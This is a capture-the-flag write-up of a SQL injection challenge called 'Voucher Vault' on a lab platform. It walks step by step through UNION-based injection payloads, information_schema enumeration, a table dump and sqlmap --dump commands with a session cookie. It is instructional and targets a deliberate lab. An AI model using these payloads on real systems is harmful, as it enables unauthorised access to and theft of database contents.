Post

Webverselabs Challenge Voucher Vault SQLi

Webverselabs Challenge Voucher Vault SQLi

Scenario :

Redzone is a 600-employee insurance brokerage in Charlotte that launched its internal Rewards portal in early 2024 to replace the gift-card spreadsheet HR had been running since the pandemic. The contractor who built the voucher search was paid by the milestone and shipped the feature the same week the procurement team approved a new redemption tier reserved for the executive floor. The launch-week security pass was scheduled, then bumped, then quietly dropped.

Solution :

image

We’re given a set of creds to start with , once we login :

image

Let’s navigate the app just like a normal user would. Check different endpoints ,then we check Burp’s history , we’re looking for parameters mainly , to be able to inject.

/Dashboard :

Just a static page, nothing we can work with.

/Redeem :

image

We have the possibility to search for Vouchers , looking at Burp :

image

I tried injecting the code parameter inside the POST request but that didn’t work , we couldn’t cause any internal errors.

Moving on , /Profile allows us to modify the email and password that we were given :

image

But this is pretty useless for us.

Finally we have the /Search Voucher:

image

We can try and inject the q parameter , just a simple ‘ or “ payload is enough to break the query and cause an internal error :

image

Perfect , we’re able to break the query , we can confirm that an SQLi exists if we can get rid of the error by adding another ‘ since this will close the query .

image

We see that we no longer have the error.

Another thing we can test is :

1
' OR 1=1-- - 

If the app is vulnerable , this should return all vouchers :

image

Yes this confirms the SQLi , i have a section in my methdology for SQLi that i will be following :

1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#sqli-

Now first we need to identify the number of columns :

1
' order by 1-- - 

We identify the column count using ORDER BY, incrementing the value until the query errors. ORDER BY errors when you reference a column position that doesn’t exist — so if ORDER BY 6 works but ORDER BY 7 errors, the query returns 6 columns.

We need this number because UNION requires exactly the same number of columns as the original query to work.

By the way either use order by and add numbers until you reach an error , or use ‘UNION SELECT 1,2,3,… , keep adding numbers until you no longer have an error : that’s the number of columns .

1
' UNION SELECT 1,2-- -

image

This returned an error which means the number of columns is higher .

1
' UNION SELECT 1,2,3-- -

image

Perfect it works at 3 , so column number is 3 , first we need to identify the DB used .

Here we will just test a bunch of commands , and depending on whether it works or we get an error , we should be able to identify the DB used .

1
2
' UNION SELECT @@version,2,3-- - : For MariaDB and MySQLand MSSQL . 
' UNION SELECT banner,2,3 FROM v$version-- - : For PostgreSQL 

image

This confirms that it is a MariaDB , if we check PayloadAllTheThings for payloads for MariaDB :

1
2
# List DB : 
' UNION SELECT GROUP_CONCAT(schema_name),2,3 FROM information_schema.schemata-- -

image

We find 2 DB challapp has our flag , let’s list table names of this db :

```sql :

List Table Names :

’ UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=’chalapp’– -

1
2
3
4
5
6
7
<img width="1552" height="846" alt="image" src="https://github.com/user-attachments/assets/635f1950-e660-4137-bb1d-eb20cb523a34" />

Then we get the column names on the Admin_Voucher table : 

```sql
' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_schema='chalapp' AND table_name='admin_vouchers'-- -

image

Finally we dump the entire thing :

1
' UNION SELECT GROUP_CONCAT(id,'|',code,'|',value,'|',expiry),2,3 FROM admin_vouchers-- -

image

Perfect we got our flag that way .

Now to automate all of this, we could’ve used SQLmap :)

Just make sure you add the cookie since we had to login.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 sqlmap.py -u https://51bb4179-4327-voucher-vault-3bf12.challenges.webverselabs-pro.com/search.php?q= --random-agent --batch --cookie="PHPSESSID=6d997fae6d56680205e3f5ab83f0af6f" --threads=10```

<img width="1721" height="645" alt="image" src="https://github.com/user-attachments/assets/ee3b816a-3683-4956-84fe-519192c1261b" />

We just let it dump everything for us :

```bash
python3 sqlmap.py -u "https://51bb4179-4327-voucher-vault-3bf12.challenges.webverselabs-pro.com/search.php?q=test" \
--cookie="PHPSESSID=6d997fae6d56680205e3f5ab83f0af6f" \
--dbms=MySQL \
--random-agent \
--batch \
--dump \
--threads=10

image

That’s it for this challenge. See you in the next one :)

This post is licensed under CC BY 4.0 by the author.